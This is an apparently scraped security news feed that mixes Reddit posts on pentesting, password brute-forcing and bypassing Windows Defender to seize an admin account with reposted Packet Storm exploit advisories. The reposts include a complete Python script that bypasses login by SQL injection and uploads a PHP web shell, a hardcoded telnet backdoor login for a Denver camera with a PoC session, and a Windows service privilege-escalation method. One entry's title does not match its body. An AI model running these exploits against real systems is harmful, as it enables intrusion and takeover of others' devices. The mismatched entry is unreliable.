<!-- SC_OFF -->We have covered the process of Penetration Testing in other articles, today we are taking a deeper look at an important type of Penetration testing which is Web Application Penetration Testing. Right from what it is to the steps and methods to perform it, here is your complete guide to Web Application Penetration Testing. ​ https://preview.redd.it/vmq9nqh83yd71.png?width=512&format=png&auto=webp&s=9637bc534d4962c6b36f9e0bdbeb0c9476d432dc Web Application Penetration Testing (https://www.vistainfosec.com/blog/guide-to-web-application-penetration-testing/) is a type of ethical hacking engagement which is designed to test the security, architecture, design and configuration of web applications. This process to the web application or the underlying web server / database identifies Cyber Security threats that could lead to unauthorized users gaining low-level access leading to confidential information being leaked. <!-- SC_ON --> submitted by /u/stephen90147 (https://www.reddit.com/user/stephen90147)
[link] (https://www.reddit.com/r/Pentesting/comments/ot8ncr/guide_to_web_application_penetration_testing/) [comments] (https://www.reddit.com/r/Pentesting/comments/ot8ncr/guide_to_web_application_penetration_testing/)

hacking: security in practice
Password cracking - sequential vs random

Is it generally faster to try to brute force a password sequentially (aaaaaaaa, aaaaaaab, etc.) or just randomly?

I'd have thought guessing randomly would be more likely to stumble on the correct password than sequentially doing so but haven't been able to find any info about this?

submitted by /u/53uhwGe6JGCw
[link] [comments]

hacking: security in practice
How to deaktivate Windows Defender

So I have this computer and I wanna get the admin password. I tryed to use a boot USB-Stick and change the utilman.exe with the cmd.exe, so i could change the password later on, as i did a few times before.

But the problem now is that Windows Defender blocks it. When i try to open it, Windows Defender delets the utilman.exe (cmd.exe copy). I tryed to change the register and set the CmdLine and the SetupType, but the pc won't start. I also tryed to edit utilman.exe over the registery, but when i do that and click on it, windows defender just deleats the dword. I realy ned help and sorry for my bad english

Edit: I also tryed secureboot, but when i do that, the consol will close it sealf again after 0,5-1s

submitted by /u/Inspector_Hairy
[link] [comments]

Cross Site Scripting (XSS)
https://akash-venky091.medium.com/cross-site-scripting-xss-c52256c2d7?source=rss------bug_bounty-5

Ethical hackingContinue reading on Medium » (https://akash-venky091.medium.com/cross-site-scripting-xss-c52256c2d7?source=rss------bug_bounty-5)

Answer to the XSS Trick
https://securitygoat.medium.com/answer-to-the-xss-trick-f6db5e5c94ad?source=rss------bug_bounty-5

Let’s learn an interesting XSS trick and why it works :) It will help you bypass WAFs for sure*! A star has to be there, for obvious…Continue reading on Medium » (https://securitygoat.medium.com/answer-to-the-xss-trick-f6db5e5c94ad?source=rss------bug_bounty-5)

Cross Site Scripting (XSS)

Ethical hackingContinue reading on Medium »
Read more...

Answer to the XSS Trick

Let’s learn an interesting XSS trick and why it works :) It will help you bypass WAFs for sure*! A star has to be there, for obvious…Continue reading on Medium »
Read more...

Exploit Collector
eGain Chat 15.5.5 Cross Site Scripting

https://4.bp.blogspot.com/-gp6vAY2GXMM/WWlvG3cWkQI/AAAAAAAAILY/aMDesAGFEocqJU-7SaIaO870_Bbf2ZUHACLcBGAs/s1600/h139.png
eGain Chat version 15.5.5 suffers from a cross site scripting vulnerability.

MD5 | 8f713683de3e61e3153e8052e40aa17b

Download
# Exploit Title: eGain Chat 15.5.5 Cross-Site Scripting
# Vendor Homepage: https://www.egain.com/
# Software Link: https://www.egain.com/chat-software/
# Exploit Authors: Brandon Ming Yang Ho (https://www.linkedin.com/in/minhobrandon/), Hassy Vinod Eshan (https://www.linkedin.com/in/hassy-vinod/)
# CVE: CVE-2020-15948

# Timeline

- June 2020: Initial vulnerability discovery
- July 2020: Reported to eGain Corporation
- August 2020: Fix/patch provided by eGain Corporation
- September 2020: Public disclosure notified to eGain Corporation
- July 2021: Published CVE-2020-15948

# 1. Introduction

eGain Chat is a real time chat assistance solution by eGain Corporation for website visitors to communicate with chat agents.

# 2. Vulnerability Details

eGain Chat version 15.5.5 is vulnerable to reflected Cross-Site Scripting (Reflected XSS).

The “Name” input field (full_name) does not fully sanitise user input for special characters such as “<”” and HTML attributes such as “”. It is possible for an attacker to bypass filtering and create malicious scripts. Once the response has been rendered, the malicious JavaScript code would be executed.

# 3. Proof of Concept

The “Name” input field (full_name) of the chat window can be injected with the following XSS payload as a Proof of Concept to execute a javascript alert popup.

Payload - click

# 4. Remediation

Apply the latest fix/patch from eGain Corporation.

# 5. Credits

- Brandon Ming Yang Ho (https://www.linkedin.com/in/minhobrandon/)
- Hassy Vinod Eshan (https://www.linkedin.com/in/hassy-vinod/)

Source:packetstormsecurity.com
➖ Sent by @TheFeedReaderBot ➖

Exploit Collector
TripSpark VEO Transportation SQL Injection

https://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png
TripSpark VEO Transportation suffers from a remote blind SQL injection vulnerability.

MD5 | 189e05e837b3360b20c7fe7a7553e8e5

Download
# Exploit Title: Splinterware System Scheduler Professional 5.30 - Unquoted Service Path
# Date: 2021-05-11
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://www.splinterware.com
# Software Link: https://www.splinterware.com/download/ssproeval.exe
# Version: 5.30 Professional
# Tested on: Windows 10 Pro 20H2 x64

System Scheduler Professional 5.30 is subject to privilege escalation due to insecure file permissions, impacting
where the service 'WindowsScheduler' calls its executable. A non-privileged user could execute arbitrary code with
elevated privileges (system level privileges as "nt authority\system") since the service runs as Local System;
renaming the WService.exe file located in the software's path and replacing it with a malicious file, the new one
will be executed after a short while.

C:\Users\test>sc qc WindowsScheduler
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: WindowsScheduler
TIPO : 10 WIN32_OWN_PROCESS
TIPO_AVVIO : 2 AUTO_START
CONTROLLO_ERRORE : 0 IGNORE
NOME_PERCORSO_BINARIO : C:\PROGRA~2\SYSTEM~1\WService.exe
GRUPPO_ORDINE_CARICAMENTO :
TAG : 0
NOME_VISUALIZZATO : System Scheduler Service
DIPENDENZE :
SERVICE_START_NAME : LocalSystem

C:\Users\test>icacls C:\PROGRA~2\SYSTEM~1\
C:\PROGRA~2\SYSTEM~1\ BUILTIN\Users:(RX,W)
BUILTIN\Users:(OI)(CI)(IO)(GR,GW,GE)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I
Source:packetstormsecurity.com
➖ Sent by @TheFeedReaderBot ➖

Exploit Collector
Event Registration System With QR Code 1.0 Shell Upload

https://1.bp.blogspot.com/-luFAqsulr64/WWlvFAfKXLI/AAAAAAAAILI/M2y6qJlcju8Kpq9V68KpSF2h6FJoaSeWACLcBGAs/s1600/h135.png Event Registration System with QR Code version 1.0 suffers from authentication bypass and shell upload vulnerabilities.

MD5 | 0258508306684f3c1ccb2c248610b9a3Download # Exploit Title: Event Registration System with QR Code 1.0 - Authentication Bypass & RCE
# Exploit Author: Javier Olmedo
# Date: 27/07/2021
# Vendor: Sourcecodester
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/event_0.zip
# Affected Version: 1.0
# Category: WebApps
# Platform: PHP
# Tested on: Ubuntu Server & Windows 10 Pro

import os, re, sys, argparse, requests
from termcolor import cprint

def banner():
os.system("cls")
print('''
___________ __
\_ _____/__ __ ____ _____/ |_
| __)_\ \/ // __ \ / \ __\\
| \\\\ /\ ___/| | \ |
/_______ / \_/ \___ >___| /__|
\/ \/ \/
Registration System
--[Authentication Bypass and RCE]--
@jjavierolmedo
''')

def get_args():
parser = argparse.ArgumentParser(description='Event - Authentication Bypass and RCE Exploit')
parser.add_argument('-t', '--target', dest="target", required=True, action='store', help='Target url')
parser.add_argument('-p', '--proxy', dest="proxy", required=False, action='store', help='Use proxy')
args = parser.parse_args()
return args

def auth_bypass(s, proxies, url):
data = {
"username":"admin'#",
"password":""
}

r = s.post(url, data=data, proxies=proxies)

if('{"status":"success"}' in r.text):
cprint("[+] Authenticacion Bypass Success!\n", "green")
return s
else:
cprint("[-] Authenticacion Bypass Error!\n", "red")
sys.exit(0)

def upload_shell(s, proxies, url):
content = "<?php' . shell_exec($_REQUEST['cmd']) . '';?>"
file = {
'img':('cmd.php',content)
}

data = {
"name":"Event Registration System with QR Code - PHP",
"short_name":"ERS-QR-PHP",
}

r = s.post(url, files=file, data=data, proxies=proxies)

if('1' in r.text and r.status_code == 200):
cprint("[+] Upload Shell Success!\n", "green")
return s
else:
cprint("[-] Upload Shell Error!\n", "red")
sys.exit(0)

def get_shell_url(s, proxies, url):
r = s.get(url, proxies=proxies)
regex = '\_cmd.php"> (.*?)'
shell_name = re.findall(regex, r.text)[0]
url_shell = "http://localhost/event/uploads/{shell_name}?cmd=whoami".format(shell_name=shell_name)
cprint("[+] Use your shell --> {url_shell}\n".format(url_shell=url_shell), "green")

def main():
banner()
args = get_args()
target = args.target
proxies = {'http':'','https':''}
if args.proxy:
proxies = {'http':'{proxy}'.format(proxy=args.proxy),'https':'{proxy}'.format(proxy=args.proxy)}

login_url = target + "/event/classes/Login.php?f=rlogin"
upload_url = target + "/event/classes/SystemSettings.php?f=update_settings"
shell_url = target + "/event/uploads/"

s = requests.Session()
s = auth_bypass(s, proxies, login_url)
s = upload_shell(s, proxies, upload_url)
s = get_shell_url(s, proxies, shell_url)

if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
cprint("[-] User aborted session\n", "red")
sys.exit(0)

# Disclaimer
# The information contained in this notice is provided without any guarantee of use or otherwise.
# The redistribution of this notice is explicitly permitted for insertion into vulnerability
# databases, provided that it is not modified and due credit is granted to the author.
# The author prohibits the malicious use of the information contained herein and accepts no responsibility.
# All content (c)
# Javier Olmedo Source:packetstormsecurity.com
➖ Sent by @TheFeedReaderBot ➖

Exploit Collector
Denver Smart Wifi Camera SHC-150 Remote Code Execution

https://4.bp.blogspot.com/-AtnQ_7I3m3U/WWlvZV4J0qI/AAAAAAAAIOs/cujNKaH5r44v1_gHRqEIroH6JJl6WzjUACLcBGAs/s1600/h58.png
Denver Smart Wifi Camera SHC-150 has a hardcoded backdoor login vulnerability available via telnet that gives a shell.

MD5 | a9a3afa83abcffe28d96ceb14d65cdc7

Download
# Exploit Title: Denver Smart Wifi Camera SHC-150 - 'Telnet' Remote Code Execution (RCE)
# Date: 27 July 2021
# Exploit Author: Ivan Nikolsky (enty8080)
# Vendor Homepage: https://denver.eu/products/smart-home-security/denver-shc-150/c-1024/c-1243/p-3824
# Version: Denver SHC-150 (all firmware versions)
# Tested on: Denver SHC-150

Backdoor was found in a Denver SHC-150 Smart Wifi Camera. Maybe other models also have this backdoor too.

So, backdoor is a factory telnet credential - `default`. Just open the telnet connection with the camera on port 23 and enter `default` (yes, on these cameras, telnet service is served on port 23). After this, you'll get a Linux shell. Backdoor allows an attacker to execute commands on OS lever through telnet.

PoC:

```
enty8080@Ivans-Air ~ % telnet 192.168.2.118 23
Trying 192.168.2.118...
Connected to pc192-168-2-118.
Escape character is '^]'.

goke login: default
$ ls /
bin home linuxrc opt run tmp
dev init media proc sbin usr
etc lib mnt root sys var
$ pwd
/home/default
$ exit
Connection closed by foreign host.
enty8080@Ivans-Air ~ %
```

Source:packetstormsecurity.com
➖ Sent by @TheFeedReaderBot ➖